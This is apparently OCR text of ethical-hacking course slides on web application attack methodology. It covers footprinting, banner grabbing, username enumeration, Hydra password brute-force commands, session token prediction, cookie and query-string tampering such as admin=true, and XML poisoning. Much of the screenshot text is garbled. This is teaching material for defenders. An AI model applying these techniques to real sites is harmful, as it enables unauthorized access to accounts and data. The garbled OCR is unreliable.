servscel(ey-"adSaS«ﬂ&-d085-4562—6456~aad45dASSZad'busnesskey-mma—dASOASSa-dssz—
acded567d0Of5"<name 1=k ="en">A com Web Services</name></servicelnfo><servicelnfo
serviceKey="ad52a456-4d5f-7d5c-8def-c5e6d456cdA5"businessKey="45235896-256a-123a-c456-
add55a456f12"><name xmizlang="en">AmazonBookPrice</name></serviceinfo><servicelnfo
serviceKey=9%acci45ad-45cc-4d5c-1234-888cd4562893" businessKey="3a45238d-cd55-4d22-8d5d-
a55adc43ad5c"><name
xmi:lang="en">AmazonBookPrice</name></servicelnfo></servicelnfos></servicelist></soap:Body></soap:
Envelope>

fo
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Web Services XML Poisoning

Attackers insert malicious XL codes in SOAP requests to perform XML node manipulation or XML
schema poisoning in order to generate errors in XML parsing logic and break execution logic

Attackers can manipulate XIVIL external entity references that can lead to arbitrary file or TCP
connection openings and can be exploited for other web service attacks

XML poisoning enables attackers to cause a denial-of-service attack and compromise confidential
information

XML Request Poisoned XML Request
<CustomerRecord> <CustomerRecord>
<CustomerNumber>2010</CustomerNumber> <CustomerNumber>2010</CustomerNumber>

<FirstName>Jason</FirstName><CustomerNumber>
2010</CustomerNumber>

<FirstName>Jason</FirstName>
<LastName>Springfield</LastName>
<Address>Apt 20, 3rd Street</Address>

<FirstName>Jason</FirstName>
<LastName>Springfield</LastName>
<Email>jason@springfield.com</Email> <Address>Apt 20, 3rd Street</Address>

<PhoneNumber>6325896325</PhoneNumber> [~ """ <Email>jason@springfield.com</Email> —

</CustomerRecord> <PhoneNumber>6325896325</PhoneNumber> 5 z
] </CustomerRecord> \ ‘
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Web App Hacking Methodology

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks Web App Client

Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism
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Footprint Web Infrastructure

4 Web infrastructure footprinting is the first step in web application hacking; it helps attackers
to select victims and identify vulnerable web applications

Hidden
Content Discovery

Extract content and
functionality that is not
directly linked or reachable
from the main visible content

Server Discovery

Discover the physical
servers that hosts
web application Server Identification
Grab server banners to

identify the make and - o (__./
Service Discovery e

version of the web
0 _ = server software ’
Discover the services running on web . 5

servers that can be exploited as
attack paths for web app hacking
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Footprint Web Infrastructure: Server Discovery

W Server discovery gives information about the location of servers and ensures that the

target server is alive on Internet

Whois lookup utility gives information about the IP address of web server and
DNS names

Whois Loockup Tools: ‘,
e  hittp://www.tamos.com © http://www.whois.net 3

i 157.110)
©  htitp://searchdns.netcraft.com e http://www.dnsstuff.com

DNS Interrogation Tools:

@ http://www.dnsstuff.com @ htip://www.webmaster-toolkit.com
©  http://network-tools.com @ http://www.domaintools.com

Port Scanning attempts to connect to a particular set of TCP or UDP ports to find out
the service that exists on the server

Port Scanning Tools:

2 Nmap © Advanced Port Scanner m

ﬁ

DNS Interrogation provides information about the location and type of servers I
© NetScan Tools Pro € Hping |
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Footprint Web Infrastructure: Service Discovery

e target web server to identify common

Port Typical HTTP Services
ports that web servers use for different services
80 World Wide Web standard port
81 Alternate WWW
»ols u 3 service discovery: 88 N orheroe
1. Nmap 2. NetScan Tools Pro 3. Sandcat Browser a43 SSL (https)
900 IBM Websphere administration client
'services act as att: g wr web 2301 Compag Insight Manager
application haCking 2381 Compagq Insight Manager over SSL

Microsoft Application Center Remote
management

7001 BEA Weblogic

4242

Scan Tools Profile Help
7002 BEA Weblogic over SSL
i Target: —T4 A —v—PE-PS22.25.80—-P + Profile
7070 Sun Java Web Server over SSL
Command: Nmap —T4 -A —v -PE -PS22, O A2 389 google.com
8000 Alternate Web server, or Web cache
Hosts Services Nmap Output Hosts  Topology  Host Details | Scans ey e e :
ernate eb server or managemen
OS <« Host Protocol 4 State ¢ Service ¢ Version 3 e < & -
# google.com (74.12% tcp open http 8005 Apache Tomcat
tc cpen https
= & = 9050 Sun Java Web Server admin module

>

Filter Hosts http://nmap.org 10000 Netscape Administrator interface




- =Fx A
C O n n e c ‘l’ - ’” o ﬁ!ﬂn:’ (qg \B d R E N Nordic Gateway for Research & Education
~_ N

NORDUnet

European Union

Footprint Web Infrastructure: Server Identification/Banner Grabbing

© Runcommands client —host <target

€ Analyze the server response header field to
website> —-poxrt 443

identify the make, model and version of the
Type GET/HTTP /1 . O to get the server

web server software o
& Syntax: C:\telnet Website URL oxr information
IP address 80
- oI | b= CAOpenSSL-Win32\bin\openssiexe - o EE3S

Command Prompt
I smcont s i
Vearify return 19 Cself signed carcificato in cartificaca

Server identified
R e L S TP as Microsoft
= . ol 6 HTTPAPI

e TP Aarmens as

ntdtelnet 192.168.0.2 880

AT HTHL

Telnet 192.16802

azc il

exts/html; cha

Server
ol identified as

TLE
mte

invalid.<-p>

Microsoft IIS

Banner Grabbing Tools

i: 1. Telnet 2. Netcat 3. ID Serve 4. Netcraft
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Detecting Web App Firewalls and Proxies on Target Site

Detecting Proxies Detecting Web App Firewall
J Determine whether your target site is routing 4 Web Application Firewall (WAF) prevents web
your requests through a proxy servers application attack by analyzing HTTP traffic

1 Determine whether your target site is running

-J Proxy servers generally add certain headers = = : :
web app firewall in front of an web application

in the response header field
J Check the cookies response of your request

< Use TRACE method of HTTP/1.1 to identify because most of the WAFs add their own cookie
the changes the proxy server made to the in the response
request

-1 Use WAF detection tools such as WAFWOOF to
find which WAF is running in front of application

root@kati: =

"Via:" ,"X-Forwarded—-For:" , "Proxy—-Connection:"
TRACE / HTTP/1.1
Host: www.test.com
== HTTP/1.1 300 OK
1 Server: Microsoft-IIS/7.0 !
’ Date: Wed, 01 Jan 2014 15:25:15 GMT
Content-length: 40 [
TRACE / HTTP/1.1 i
Host: www.test.com '
l Via: 1.1 192.168.11.15 l

_ _

— — e http://www.aldeid.com
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Discover the hidden content and functionality that is not reachable from the main
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Footprint Web Infrastructure: Hidden Content Discovery

visible content to exploit user privileges within the application

It allows an attacker to recover backup copies of live files, configuration files and log
files containing sensitive data, backup archives containing snapshots of files within the

web root, new functionality which is not linked to the main application, etc.

Web Spidering

Web spiders automatically

discover the hidden content

and functionality by parsing
HTML form and client-side
JavaScript requests and
responses

Web Spidering Tools:

OWASP Zed Attack Proxy
Burp Suite
WebScarab

Attacker-Directed
Spidering

Attacker accesses all of the
application’s functionality and
uses an intercepting proxy to
monitor all requests and
responses

The intercepting proxy parses all
of the application’s responses
and reports the content and
functionality it discovers

Tool: OWASP Zed Attack Proxy

Brute-Forcing

Use automation tools such as
Burp Suite to make huge
numbers of requests to the web
server in order to guess the
names or identifiers of hidden
content and functionality
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Web Spidering Using Burp Suite

Configure your web browser to use Burp as a local proxy

Access the entire target application visiting every single
link/URL possible, and submit all the application forms
available

Browse the target application with JavaScript enabled
and disabled, and with cookies enabled and disabled

Check the site map generated by the
Burp proxy, and identify any hidden
application content or functions

Continue these steps recursively until
no further content or functionality is
identified

 Fe—

l Bump mroces R‘l‘llll Wedew rep

Taeges | ¢

 [meear] [wsruoss | 1

| Decoosr | conware | Ecancer | Cpsoas | mens |

I |

G %

Splder Status
Use Mess sanss 1o Mmontor 350 0NFS! Butp Specer TO Segn SEEdenng. Srowse 3 e Lrget appicaton, Ben Nghi-ciok one of
mote nodes in fe targe? 30 Man and chaose "Sgécor IS hast | txand’™
SPOSt &S uneg | Ciear quesas
Recuests mode

Uyies Dasaemres | $65 672

Reguesis quesed 0
Forma susues Bl

= Use sue scope [defned in Tagetiact
i 56 custom scope

= = e
B"‘ ayoer R‘m aeaow Help
| Facgar | | spvaer | [ wmecer | 1 | escosar | Comparer | Evenaar | Opteas | mens |
l-“[ soses |
Fimar nmqnum.nummx NANY CSS rmage 3Nd gance M Seary COTent. PIONG 415 IGLPOASOs. N ON g Smply ARders “,‘f
» D) rics ronaw groga co in S o mos Metea |ume {Params | Swmas 4
rtp ngosge com GET 0 J 30z
e
*
=
Us Agpent: Bopilta’/s O (Mindous NT €. 3; ¥Ossar
-0 Secke /20100108 Frzrefox/29% O .
Brwl. apy i icac 3om/ Xxhtmiexml, appl i oat Lond xnl ; qen
sa~O.
CoLangaage: em-US, en:qeo.s
pr-Encoding gziy, derflace v
2 ) () Bl = aa 0 s

httpifunuwe portcwigger. not



cooFrPERATIO N T E

e

European Union

Web Crawling Using Mozenda Web Agent Builder

(l'_TIEXAMA WebAGentl (ROt saved] - Maozenda Web Agent Bunder -0
2 Mozenda Web fle ™ Test Agent €= =P htpwwebestbur com/ste/Samiung e ~32%22 - Clars /= T20p-/~00H = P LD @ B @
i New Action Share fris Product ' 3
Agent Bu.lder Use the tocis Defow to perform actions on the page d.r: ‘D‘ ':” ‘b’ 2
5% 7 ==
crawls through e - 5
a website and EBf copture texs or emage
harvests pages B0L: S weer oot Cacose soorder.  Daie Newest -
B Creste a list of #ems
of information so
Solected Action |
Madily the Behavics of 1he séleded Retisn LOVE WY NEW TV QUISERI0 |
By JIPTCRZY #romUCHNOND, CA  Read ol my reviews s=
© The software F* vew ectim propeties g iy s l
- ﬁ Change item location = .
support logins, resmues 52
resu't Index What's great aDout It WAS VERY EASY TO SET UP, RENOTE EASY TO USE FOS FEATURES .
TOREAT PCTURE AND FEATURES VERY USER FRENDLY. EASY TO SETUP [}
Actsons Viouid you recommaend s Procect 1o & Inend: Yes
AJAX, borders, S R i i A AR S W e
madify trie Srhavier of the oumently ieiccted actisn VWas Bus review RepTi7 Yes he Resomn mappeoprate revew
and others beamdapeckiriinpabung < piye- e g
-1 —
E— : :
© The extracted = — s nmnene Chslommctiin.  ArWRTre W0
d Capture - Price r-uyncmre ancm -
ata can be = Capinie - Walion o LT e : =
= Cagtare - Mo el =iy
accessed online, R 2 [ i R ] O I e
nid Rt | [ e — [ y— Waetd reeammend
exported and -2 x EC Y -oc : oot sboun it VIAS VERY EAS.. | Ves ‘
d h h s Page 2 .. 20 What s great aboutt it Grezt SoundWh... Nc
used through an < RSDfiews Lish = Reviaie SOMDL- 40 What's grest sbout it mice festuresW.., | Yes
—_— Capture - Review Rating 40 Wahat at about it good ¥ ¥
API = Castine - Rodicrr 5 gre good prce. loe—.  Yes
—— B Capture - Would recommend -
AT AT R R e A G TR A A R T AR i B S I e O T B AT S S e A e e T s |
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Hacking Web servers

m After identifying the web server Tools used
environment, scan the server for
known vulnerabilities using any web

2% 1 UriScan
server vulnerability scanner ~
2 Nikto

Launch web server attack

to exploit identified vulnerabilities
Nessus

Launch Denial-of-Service (DoS)

against web server Weblinspect

m Q Acunetix Web Vulnerability

Note: For complete coverage of web server hacking technigues refer to Module 11: Hacking Webservers
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Web server Hacking Tool: Weblnspect

=W

4 Weblnspect identifies
security vulnerabilities
in the web applications

- It runs interactive scans
using a sophisticated
user interface

-1 Attacker can exploit
identified vulnerabilities
to carry out web
services attacks

jo——— --‘3».-—-: e e

| B ——

|

http://welcome.hp.com
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Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism
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Analyze Web Applications

European Union

Analyze the active application’s functionality and technologies in order to identify the
attack surfaces that it exposes

Identify Entry Points ’ Review the generated HTTP request to identify the user input
for User Input entry points

Identify Server-Side ‘ Observe the applications revealed to the client to identify the
Functionality server-side structure and functionality

Identify Server-Side ’ Fingerprint the technologies active on the server using various
Technologies fingerprint techniques such as HTTP fingerprinting

Map the Attack ' Identify the various attack surfaces uncovered by the applications
Surface and the vulnerabilities that are associated with each one
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Analyze Web Applications: Identify Entry Points for Users Input

European Union

Examine URL, HTTP Header, query string parameters, POST data, and cookies to
determine all user input fields

Identify HTTP header parameters that can be processed by the application as user
inputs such as User-Agent, Referer, Accept, Accept-Language, and Host headers

Determine URL encoding techniques and other encryption measures implemented
to secure the web traffic such as SSL

& € Burp Suite € WebScarab
€ HttPrint © OWASP Zed Attack Proxy
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Analyze Web Applications: Identify Server-Side Technologies

Perform a detailed server Examine URLs for file Examine the Examine session tokens:
fingerprinting, analyze extensions, directories, error page messages =
HTTP headers and HTML and other identification Q1 BESNONID = ava
source code to identify information = = 2 ASPSESHONID 115
server side technologies ¢ ___, bt
) © ASP.NET_Sessionld -
ASP.NET

© PHPSESSID - PHP

Inout Fie — - ——

[S s\ O D estco\ Tes 1 =] Lo I s N
S — =

[C U zeer O\ Dakioo\Fiipint_wan32_301 \hipart_301 weidzison g |

= Pon | @] Banner B ed
]
B icronch 85760

.50259!0?1300‘2785!9831“.9m5
D?B39B72!E811C9m58!1€9
‘K92 2E576B765E2CES 25911c9ncs
‘69%35-3C2556ﬂ)x295m 323

Server Error in '/ReportServer’ Application.

GUQ

CES923E2CERI2IBL1C

Microsot I1IS7% . o
S11C9DCSECES927811CIDC5811C3 D05 0f
ODZ764585811CIDCS2A200BECCD3IZ7IB7C
E2CE6927, SCSE;
E. :.
= =

Could not find the permission set named "ASP.Net’".
Description: An unhanded exception occurred during the
execution of the current web request. Please review the stack
trace for more information about the error and where it
originated in the code.

1811C SE.
E6923 BSFA7I2F670E2CEERY
Micromoft-11S/6 0/ 140 84 .34 ~
Noloeup.— terprisa-e . 0 62 12 60

=n
Microsofet—IIS- S.1: 79 10
Micro=sofet—-IIS S 0 ASP )"El" 79 10.91

~

Aeocd Fie
IS ~ r
[E DT Db urtipnt_wnis_ 301 mprs 301 waieueee G| o ::‘ =t > ] = Cloax AS Optons

Vversion information: Microsoft _Net Framework Version
4.0.30319; ASP Net Version 4.0.30319.1

Bitpent has boen completed < >

ht‘tp //net-square.com
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Analyze Web Applications: Identify Server-Side Functionality
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Examine page source and URLs and make an educated guess el
to determine the internal structure and functionality of web z’!{?} ",,
applications ——
[ I o ] - o
[ -
E i \_ hEttp://www.gniu.org
Tools = |

used: [ Teleport Pro http://www.tenmax.com
z:’ 1 http://softbytelabs. com

o S

® ® Examine URL ¢ @
SSL ASPX Platform

A A

https: //www. juggyboy .com/customers _aspx?name—existing$20clients&isActive=

OsstartDate=20%2F11%2F2010&sendDate=20%2F05%2F2011 s =showBy—mame

hd -
R esssssnasensassssansusEnEEs s P Databhase COlutnin Gecsscssscasssrsscsnsssnssnsnassas
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Analyze Web Applications: Map the Attack Surface

=

Information

Attack

Information

Attack

Client-Side Validation

Database Interaction

File Upload and
Download

Display of
User-Supplied Data

Dynamic Redirects

Login

Session State

Injection Attack,
Authentication Attack

SQL Injection, Data
Leakage

Directory Traversal

Cross-Site Scripting

Redirection, Header
Injection

Username Enumeration,
Password Brute-Force

Session Hijacking,
Session Fixation

Injection Attack

Cleartext
Communication

Error Message

Email Interaction

Application Codes

Third-Party
Application

Web Server Software

Privilege Escalation,
Access Controls

Data Theft, Session
Hijacking

Information Leakage

Email Injection

Buffer Overflows

Known Vulnerabilities
Exploitation

Known Vulnerabilities
Exploitation

NORDUnet

Nordic Gateway for Research & Education
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Attack Attack Attack Session Attack Attack
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Mechanism Mechanism
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Attack Authentication Mechanism

Attackers can exploit design and implementation flaws in web applications, such as failure n

to check password strength or insecure transportation of credentials, to bypass
authentication mechanisms /

Session Attacks

& Session prediction

© Session brute-forcing

. © Session poisonin
= Verbose failure messages = &

Z Predictable user names
Password Attacks

-

=~ Password functionality

Cookie Exploitation exploits

Password guessing

(I

= Cookie poisoning
=  Cookie sniffing
= Cookie replay

(1

Brute-force attack
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User Name Enumeration

If login error states which part of the user name and password is not correct, guess the users of
the application using the trial-and-error method

@ WORDPRESS.COM

ERROR lrr-an:i 2Mal or ssesname Loat sour
DS S ey

mar ST AT

rinimatthews

@ WORDPRESS.COM

ERROR The passwirg pOu meraa for THE 2mas or
USENATS INKMarthews @3 Incomect L oal sDul
C3SSWOI?

¥ LT

rlnlmatthews

N Password —

]
’
s /

S e V Romeender i

User nurne rini.rmatdhiews does note exist User nurne successfully enurnerated o rinlrmucchews

https://wordpress.com

Some applications automatically generate account user names based on a sequence (such as userl101,

userl02, etc.), and attackers can determine the sequence and enumerate valid user names

Note: User name enumeration from verbose error messages will fail it the application implements account lockout policy i.e.,
locks account after a certain number of failed login attempts
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Password Attacks: Password Functionality Exploits

Password Changing

v 2 Determine password change functionality within the application by spidering the application

or creating a login account

Try random strings for ‘Old Password’, ‘New Password’, and ‘Confirmm the New Password’ fields
and analyze errors to identify vulnerabilities in password change functionality

Password Recovery

Forgot Password’ features generally present a challenge to the user; if the number of attempts is not
limited, attacker can guess the challenge answer successfully with the help of social engineering

Applications may also send a unique recovery URL or existing password to an email address
specified by the attacker if the challenge is solved

‘Remember Me’ Exploit

“Remember Me” functions are implemented using a simple persistent cookie, such as
RememberUser=jason or a persistent session identifier such as RememberUser=ABY112010

Attackers can use an enumerated user name or predict the session identifier to bypass
authentication mechanisms
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Password Attacks: Password Guessing

- - 7 o y -
Password List Password Dictionary Tools

Attackers create a list of Attackers can create a Password guessing can be
possible passwords using most dictionary performed manually or
commonly used passwords, of all possible passwords using automated tools such
footprinting target and social using tools such as as WebCracker, Brutus,
engineering techniques, and Dictionary Maker Burp Insider, THC-Hydra,
try each password until the to perform dictionary attacks etc.
correct password is discovered

. — N = S o

IENCTIES
< cuit

| Target Passworss | Tuning | Specitic | stan |

F_EETEJ
& cunt

 Tanget | Passworas | Tuning | Speciic stan |

Usemame |} Outpuot
& uUsemame 'leslusm Hydra v4.1 (c) 2004 by van Hauser / THC - use allowed only for legal purposes
Hydma (PP //www.the. org) starting at 2005-05-17 21:58:52
" Usemame List [ [DATA] 32 tasks, 1 servers, 45580 login tnes {1 1/p:45380). ~1418 tries per task
| [DATA] attacking service ftp on port 21
- Passwora [STATUS] 14056 00 tries’/min, 14056 tres in 00:01h, 31324 todto in D0:030
O Passwosd l [STATUS] 14513.00 tries/min. 20026 tres in 00:02h, 16354 todo in 00:020

[21)rnp] host: 127.0.0.1 jogin: marc password: success
Hydra (Mipc//waww ihc . ong) Tinishad a1 2004-05-17 22:01:38
<Tinished>

(¢ Password List [/lmp‘passhsl txt

- Colon separated tile

I~ Use Colon seperated file I

http://www.thc.org

< Try login as password ¥ Try empty password, xSt;t—i;l s.gpl Save Oulps :I

Jrydrat 127.0.0.1 fip 4 marc P Amp/passiist.txt o ns -t 32

Clear Output I

Jrycira 127.0.0.1 fip - testuser - tmp/passhst.ixt =& ns
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Password Attacks: Brute-Forcing

= In brute-forcing attacks, attackers crack the log-in passwords by trying all possible values from a set
of alphabets, numeric, and special characters

m  Attackers can use password cracking tools such as Burp Suite, Brutus, and SensePost Crowbar

File Toois Help

Teget 2700y ——
Connection Opticns 'mm:;ulswtuul

Surp_ T"PM' Regeats( Winaow we
Jargm | Proxy | spicer [3’%“’]‘:* [ Reveater | Soqesncer |
sa8( socar |

I )

e

T T p
arget | Positions | Pagaass [ Osons | Pot [80  Cor w T J 10
soliies Timsot FJ =10 [ UnPor o
2. Paylcac Sets e AL LA WL e
== S HT TP [Basic] Options e
VOou can dafine Gviv of More DAMUIU Suts. THE Rembed o pastesa o
- 4 915 S8 pands o0 e MLCk Tpe OFYY Method E.
e Fosilions 120 Vanous nasoad hpes are svatatis 1of s5¢h pavicad ety HEAD ~ ¥ Eespiine
Eostescsibymetdocirredn £311230 81 and each pastons rps c=n
— Asshentication Options
Paylosasst |3 = Fanosucum 1579518 |
x 3 x — ~ Use Usesname I Single User Pats Mode (Word Lt~
Pasioad type | Bnune forcer p2) Rogues: court. 3.358 082 r —_— |
= User File [usersba Biowse | PassFie [rodiin Browce |
2| Payloag Options [Brute forcs ositive Authentication Results
= s of SDECIET 10ngs hat cantam I pervAsions o 3 specied P T I um‘-g___l_&’_t'.?é.__—‘——
This payload ype generates payioacs of 3 LS TETE fDome Aulhl e e
character sel . N - 1270017 H1 TP fBasc Sasth] backup
e 0123425789 127001/ e
Chatacies sak 2mcdelphiHIrmn SEgrs LWL 2 2
—
Asn tangih

Max jength &

’
net

http://www.hoobie.

http://portswigger. net
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Session Attacks: Session ID prediction/Brute-Forcing

In the first step, the attacker collects some valid session ID values by sniffing traffic from
authenticated users

Attackers then analyze captured session IDs to determine the session ID generation process such
as the structure of session ID, the information that is used to create it, and the encryption or hash
algorithm used by the application to protect it

Vulnerable session generation mechanisms that use session IDs composed by user name or other
predictable information, like timestamp or client IP address, can be exploited by easily guessing
valid session IDs

In addition, the attacker can implement a brute force technique to generate and test different
values of session ID until he successfully gets access to the application

GET http://janaina:8180/WebGoat/attack?Screen-17 & menu=410 HTTP/1.1
Host: janaina:8180
User-Agent: Mozilla/5.0 {(Window; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.04

GET Request Accept: text/xml, application/xml, application/xhtmil+xml, text/htmtl;q-0.9,text/plain;q=0.8,image/png,*/*,q=0.5
gf:k'iz',ﬁ%ﬁ%‘%ggf—q’-‘ﬂ?‘-’55-‘-’934935“-9'53?55??-"-'-1-?5'-“5’-“-‘-‘ o S { Predictable Session Cookie
Authorization: Basic Z3Vic3Q6Z3Vic3Q
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Cookie Exploitation: Cookie Poisoning

If the cookie contains
passwords or session
identifiers, attackers can
steal the cookie using
techniques such as
script injection and
eavesdropping

Eile Edit View Analyse Report Toolis Online Heip
I Sdmt& BEOST Yy == P ORXRELN W
o Quick Start i —s Reguest
= Response l ., Breakx i Script Console

| Header Text | ¥| |Body. Text .vj = =l

© = Cool_sSwuft N‘r‘l’P/l .1 20 oK
V= % GET andex htmi Date: Wed, 2€ Nov 2013 @7:18:18 GMT
o % GETIngex htmi Content-Leagth: 8662

& e Content-Type: text/htel 4 c o
Content-Location: http://www. juggyboy.com/index_ htm
Attackers then replay &5 R w Prasunistons LRt odifieds Moo, 11 Now SOLS Ssiaviiz. Sy
. 3 vl . ¥ w8 books < tdoctype html -
the cookie with the i~ wos Bhatin sz SN R o
< index ! ) i If 8 jschtal lang="en™ cless="noc i < 3
same or a|tered — ¥ = Games <! F JTE 9 j><h:rL .:v‘g- en” ctj;s- “n ies g
passwords or session e o ;Ziff,iiff‘f.f" e e i e
identifiers to bypass = | == Hup Sessions } ' ZestResults | ¥ WebSockets | 6k AJAX Spider |

web application »\Scara: | 3% Breax Pomnts fluuns I Amsm | 3 spigecss | - Forcesmrowse
authentication

5% Current Scans: 1 | URIs Found: 1603
| Flags
SEED

Attackers can trap
cookies using tools such
as OWASP Zed Attack

Dt AW ww UGGy Doy Comvindex htmd
hitp Ow ww Juggyboy comiabout_medincex hitrml
__hip Owww puggytoy com/senfeldfimdex mtmi

_Curmentscans A 0 #1 .0 B0 @o o

Proxy, Burp Suite, etc.

https_//www.owasp.org
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1 Attackers manipulate the HTTP requests to subvert the application authorization
schemes by modifying input fields that relate to user ID, user name, access group,
cost, filenames, file identifiers, etc.

-1 Attackers first access web application using low privileged account and then
escalate privileges to access protected resources

—

| @ ' Uniform Resource Identifier Parameter Tampering

POST Data HTTP Headers

Hidden Tags

-

m) Query String and Cookies
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HTTP Request Tampering

1 If the query string is visible in the address bar on the browser, the attacker can easily

Query change the string parameter to bypass authorization mechanisms
String
Tam peri ng http://www. juggyboy.com/mail  aspx?mailbox—john&company—acme$20com
https://juggyshop.com/books/download/852741369 .pdf
https://juggybank . com/login/home . jsp?admin—true
5 1 Attackers can use web spidering tools such as Burp Suite to scan the web app for POST
: parameters
-1 If the application uses the Referer header for making access control decisions, attackers can
HTTP modify it to access protected application functionalities
Headers GET htitp://juggyboy:8180/Applications/Download?ItemID — 201 HTTP/1.1

Host: Jjanaina:8180

User-Agent: Mozilla/5.0 (Window:; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515
Firefox/2.0.04

Accept: text/xml, application/xml, application/xhtml-s+xml , text/htmt]l g

0.9, text/plain;g=0.8,image/png, */* g=0.5

Proxy—-Connection: keep—alive
Referer: http://Juggyboy:8180/Applications/Download?Admin = False

4  ltemliD = 201 Is not accessible as Admin parameter Is set to false, attacker can change It to true and
access protected items
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Authorization Attacks: Cookie Parameter Tampering

A
-1 In the first step, the attacker collects some cookies set by the web application and
analyzes them to determine the cookie generation mechanism
-1 The attacker then traps cookies set by the web application, tampers with its parameters
using tools, such as OWASP Zed Attack Proxy, and replay to the application
> Uneitfed Se - OWASD 2AP Untities Session - OWASP ZAP =To .
i Fxx aew  Aoalpse Regoa rn._l?_n_nn
{ (= F— - B . e
_[“-ﬁ] IR.m-t-v ]R«pmco—J Beeax aC |
5 | Metoa w | reacer Tan -“Bwr-q - ) 5 n-nm“uan- wi |OcocTee. =) )00

O BRI GLET
v @ omprapirmeare |

- & =
~ Wl 1A owes go0p | o
B R T o bt

poiondons oaliss oe w (@8 ¢ NP sl et ¢ =
-G8 =

» Wl P e reewe G000

= @l » nEps swww goo

rs 1=
Pad=v3; 133062230083
.\auasaa:oaaazovxaxz.).

-34.138.13506306351950577

2 QECKT = XN
SN TEOTTAYTALS

<% v
[ Pmermsi] | owon | | [ AomScan 3 | Sowwrd® | BeueForce o Potscan . | Fumecdd | Paams Swveat |
Ales PO Santogy = 1 Searcn’iy | Break Points 3 Meds i
| Eer OFF
1+ CRY uweweoog.eew 200 Ox VResima [ Form, teccen. T C&Y RIS S D00 6 O MY 200 O vietes I 5 Foarm, ridcen s
3 cET o cosnico! s iome rr 200 O F105ms 3 2009 =
~ o P
£ OFET  hEpSwww.ooogk <o . 200 O 3%63ms 3 - 8
B GET  henMwww.Dcodke <o 304 Time . 9%6Ims gy e
12 GET  hEpMeww.Dooghe co X 200 O%¢ 920Iews g 12 3
13 GET __ hinSwww.ocode o L 08 =0< Time.._3203ms et [ .32 GET __ hih fweww ovcole o =chy 08 =Cs Time..  320%msst 4
| Merts WD S5 S B2 Casrert Scans hg _#oi,l o D GF | Mets M0 =1 55 w2 _ Cumest Scans ,)° ”9,,"", b @o
hti’.a:..//www.uwuop.uly
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Attackers break an application’s session management !
mechanism to bypass the authentication controls and

impersonate privileged application users 9’

Session Token Generation

s 1. Session Tokens Prediction
\V/ 2. Session Tokens Tampering

Session Tokens Handling

@ 1. Man-in-The-Middle Attack 2. Session Replay
3. Session Hijacking
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Attacking Session Token Generation Mechanism

Weak Encoding Example

https://www. juggyboy . com/checkout? .
SessionToken=%753%373%65F72F3DFCATE6LFI7TIFTOFTOETIIBFE6LFI7037033D%61 h 3 N
FTE64F6DTE6OTCET3IBE64%61374%6533DF32%3I3F2FF31F31LI2FF32%30831%30 P

When hex-encoding of an ASCII string user=jason;app=admin;date=23/11/2010,
the attacker can predict another session token by just changing date and use it
for another transaction with server

Session Token Prediction

= Attackers obtain valid session tokens by sniffing the traffic or legitimately logging into
application and analyzing it for encoding (hex-encoding, Baset4) or any pattern

2 Ifany meaning can be reverse engineered from the sample of session tokens, attackers
attempt to guess the tokens recently issued to other application users

= Attackers then make a large number of requests with the predicted tokens to a session-

dependent page to determine a valid session token
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Attacking Session Token Handling Mechanism: Session Token Sniffing

-4 Attackers sniff the
application traffic using a
sniffing tool such as

- 3 3 2 v . >

2 Fe Ednt View Go Capture Aralyze
Wireshark or an C D AmE ==X aam @Emx I
intercepting proxy such as Fiter o] Bpressiom- Cesr Apply Save
- N AL Sour. Destnation M of U e n -~
Burp. If HTTP cookies are 0557 93, 722285000 10.0.2.15 239.255.255.250 ss0p TS M-SEARCH * WITP/1.1
- » 3 r .y = | - | 1 T CMF T L . e ) 2
belng used as the 1OSEE 125, 158/ 5600 30.0. 2. 15 239, 255. 255, 250 =508 175 M-SEARCH = WITF/1.1
transmission mechanism 24 :
: 10728 125. 80440200¢ 123. 108.30. 33 10.0.2.15 WTTP 1334 HTTP/1.L 200 OK (Text/hmi)
for session tokens and the 10763 125.18913000<210.0.2.15 239.255.255.250 SsoF 175 M-SEARcH = Wive il
secure flag is not set, 10767 126.42720500<2 3. 62-10%9-10 10.0.2.1% Ciaid €0 HTTP 1.t 30% mor Vndtfiod .
10768 126.45197 I00C10.0.2.15 74125236, 70 W FET GET /Qu. 1% WETE/A.
attackers can replay the 10793 120. 324007 00C74.125. 220,70 10.9.2.13 e 337 WITF/1.L 200 OK ct-n Javascr 1Pt )
cookie to gain 10812 126.69227900C 74.125. 236,70 10.0.2.15 wrTe 59 WITP/1.1 200 OK (GIFB83a)
unauthorized access to - . >
4 Frame 10769: 417 bytes on wire (3336 bits),. 417 bytes captured (3336 bits) on interface O
application ¥ Ethernet II, Src: CadeusCo _73:24:9f (OR:00:27:73:24:91), Ost: Realteku_12:35:02 (S2:54:00:12:-35:02) L
: Transmizsion Control Protoco edtoois (1132), 0=t Port: http (80). Seq
= - MyperteExt Trarsrer Pr . = i e e =]
-3 Attacker can use session >
cookies to perform o%e0 75 52 & yeICs co . =
i il H i %;g gs Od 0a 41 2§ é; 3’-% gl‘A(c.k
session hijacking, session 8% 3B B NS e Agg a
replay, and Man-in-the- 29";:2 E; :‘:‘ 5 29 25 §§ 33 ' 'N., 8. 3- http://www.wireshark.org
= @ (%7 tihernet <lve caplure in pr s> bile LA | Packels J605h - Displayed: 5/0 ($.2%) | Srofve: Uetawit
Middle attacks L — . -
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Web App Hacking Methodology

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks Web App Client

Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism
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Injection Attacks/Input Validation Attacks

In injection attacks, attackers supply crafted malicious input that is syntactically correct according to the
interpreted language being used in order to break application’s normal intended

Web Scripts Injection LDAP Injection

Take advantage of non-validated web application
input vulnerabilities to pass LDAP filters to obtain
direct access to databases

If user input is used into dynamically executed code,
enter crafted input that breaks the intended data
context and executes commands on the server

OS Commands Injection

Exploit operating systems by entering malicious
codes in input fields if applications utilize user input
in a system-level command

XPath Injection

Enter malicious strings in input fields in order to
manipulate the XPath query so that it interferes with
the application’s logic

SMTP Injection @ Buffer Overflow

Injects large amount of bogus data beyond the
capacity of the input field

Inject arbitrary STMP commands into application
and SMTP server conversation to generate large
volumes of spam email

sQL Injection Canonicalization

Enter a series of malicious SQL queries into input
